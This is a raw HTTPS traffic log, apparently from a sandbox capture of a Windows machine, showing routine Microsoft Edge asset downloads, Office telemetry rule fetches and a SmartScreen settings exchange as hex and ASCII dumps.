2024-10-29 01:46:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-16849878b78p8hrf1se7fucxk800000006pg00000000hu79 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49870	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:38 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:38 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014638Z-16849878b78fssff8btnns3b14000000062g00000000km15 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:38 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: fd0e08e6-201e-0085-5f27-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-17c5cb586f6fqqst87nqkbsx1c000000047000000000ch5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:38 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-16849878b78q9m8bqvwuva4svc00000004e00000000075rn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49874	13.91.96.185	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:38 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 739 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiUDFuM1NCSWpZU0JPK1BqckJvWGd5QT09IiwgImhhc2giOiJLN29lSmRPMnpDUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 01:46:38 UTC	739	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 01:46:39 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-29 01:46:39 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-10-29 01:46:39 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-10-29 01:46:39 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-10-29 01:46:39 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-10-29 01:46:39 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-10-29 01:46:39 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-10-29 01:46:39 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-10-29 01:46:40 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49876	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:39 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 224b9d68-f01e-0014-47a4-29ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014639Z-17c5cb586f6hhlf5mrwgq3erx80000000740000000008s38 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49879	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:39 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:39 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 452667f0-601e-0033-64a4-29312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014639Z-17c5cb586f67hfgj2durhqcxk800000004n000000000g6h2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-29 01:46:39 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49877	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:39 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
